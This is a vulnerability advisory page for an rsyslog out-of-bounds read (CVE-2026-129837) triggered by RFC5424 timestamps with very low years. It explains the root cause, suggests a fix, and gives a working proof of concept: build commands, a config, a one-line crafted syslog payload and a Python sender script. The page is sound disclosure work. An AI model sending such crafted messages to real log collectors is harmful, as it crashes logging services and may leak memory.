CVE-2026-129837rsyslog Out-of-bounds Read
NVD
Vulnerability Summary
Summary A template that formats a timestamp as a weekday name reads outside a 7 element array when the timestamp carries a year well below 1970. The RFC5424 timestamp parser accepts years as low as 1, the weekday calculation then returns a negative index, and the array lookup reads a pointer from before the array that the template engine then dereferences as a string. A single message from any configured input triggers the fault, so this is a remote, unauthenticated out-of-bounds read reachable over the network. Details The weekday-name property reads an array with an unchecked index. getWeekdayNbr() (runtime/datetime.c:1177 on both main and v8.2610.0) computes a weekday with a Zeller-style formula, `wday = ((36525 g) / 100) + ((306 f) / 10) + ts->day - 621049` (datetime.c:1188), then reduces it with `wday %= 7` (datetime.c:1189). For a year far below 1970 the intermediate value is a large negative number. C keeps the sign of the left operand in `%`, so the result can be negative, for example -6. The weekday-name property modifier then uses that value as an array index with no bounds check. In getTimeReported() the code returns `wdayNames[getWeekdayNbr(&pM->tTIMESTAMP)]` (runtime/msg.c:1829 on main, runtime/msg.c:1771 on v8.2610.0), where `wdayNames` is a 7 element array of day-name strings (`static const char *wdayNames[7]`, msg.c:144). A negative index reads a pointer from before the array and dereferences it as a string. The same unchecked lookup appears at msg.c:1913 and msg.c:2052 on main (msg.c:1855 and msg.c:1994 on v8.2610.0). The negative index is reachable because the RFC5424 timestamp parser does not reject low years. ParseTIMESTAMP3339() rejects a year only when it is below 0 or 2100 or greater (`year < 0 || year >= 2100`, runtime/datetime.c:314), so a year of 1 passes. getOrdinal() already guards its own year range (`ts->year < 1970 || ts->year > 2100`, datetime.c:1203) and logs an error instead of indexing, but getWeekdayNbr() has no such guard. For year 1, month 1, the weekday value is `ts->day - 620621` before the modulo. Day 1 gives 0 (a valid index), which is why a naive test with day 1 does not crash. Day 2 gives -620619, and -620619 modulo 7 is -6, so `wdayNames[-6]` is read. This issue was discovered with AI assistance and confirmed by hand against the source and by reproduction under AddressSanitizer. Suggested fix. Guard getWeekdayNbr() against out-of-range years the way getOrdinal() already does at datetime.c:1203, or clamp the return value to 0 through 6 before it is used as an index, or reject the low-year timestamp in the parser. Guarding getWeekdayNbr() covers all three array lookups at once. Proof of concept Build rsyslog from source with AddressSanitizer and install it so the core modules load: ``` CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \ LDFLAGS="-fsanitize=address" \ ./configure --enable-imtcp make -j"$(nproc)" make install ``` Write the configuration to wday.conf. The template formats the reported timestamp as a weekday name: ``` global(workDirectory="/tmp") module(load="imtcp") template(name="wd" type="string" string="WD=%timereported:::date-wdayname%\n") input(type="imtcp" port="13516" ruleset="r") ruleset(name="r"){ action(type="omfile" file="/tmp/out_wd.log" template="wd") } ``` Write the payload to pl_wday2.txt. The RFC5424 timestamp carries year 0001, month 01, day 02: ``` <34>1 0001-01-02T00:00:00Z h a - - - negidx ``` Write the sender to send.py: ``` import socket,sys,time port=int(sys.argv[1]); fn=sys.argv[2] data=open(fn,"rb").read() s=socket.socket(); s.connect(("127.0.0.1",port)); s.sendall(data); time.sleep(0.5); s.close() print("sent",len(data),"bytes to",port) ``` Start the daemon under AddressSanitizer, send one message, and watch it fault: ``` ASAN_OPTIONS="abort_on_error=1:detect_leaks=0:disable_coredump=1" \ rsyslogd -n -f wday.conf & sleep 2 python3 send.py 13516 pl_wday2.txt sleep 2 ``` AddressSanitizer reports the out-of-bounds read: ``` ==ERROR: AddressSanitizer: global-buffer-overflow on address 0x... at pc 0x... bp 0x... sp 0x... READ of size 8 at 0x... thread T4 (rs:main Q:Reg) #0 ... in getTimeReported runtime/msg.c:1829 #1 ... in MsgGetProp runtime/msg.c:4015 #2 ... in tplToString runtime/template.c:937 #3 ... in prepareDoActionParams runtime/action.c:1379 #4 ... in processMsgMain runtime/action.c:2095 ... ``` (The ASan trace shows main line numbers.) Impact Any rsyslog deployment with a template that formats a timestamp as a weekday name, through the date-wdayname property modifier, is affected. An attacker who can send one crafted RFC5424 message with a low year into that pipeline makes the daemon read a pointer from before a global array and dereference it as a string. The crafted message can arrive over any configured input, including the network collectors imtcp, imudp, and imrelp, so a remote unauthenticated sender reaches the sink. Under AddressSanitizer this aborts the daemon on the out-of-bounds read. On a release build the out-of-bounds pointer is dereferenced as a string, which crashes the daemon when that pointer is not mapped and otherwise emits whatever bytes the stray pointer addresses into the formatted output. Either way one crafted message disrupts log collection for every source on the host. CVE CVE-2026-129837
CVSS v3.1 Base Metrics — Score 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh
Affected & Patched Versions
- rsyslog >= 8.3.2
- rsyslog 2026-11-17 daily stable
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run rsyslog and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Nov 17, 2026Published
- Nov 17, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new rsyslog CVEsYou are reading CVE-2026-129837. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 23, 2026 17:01 UTC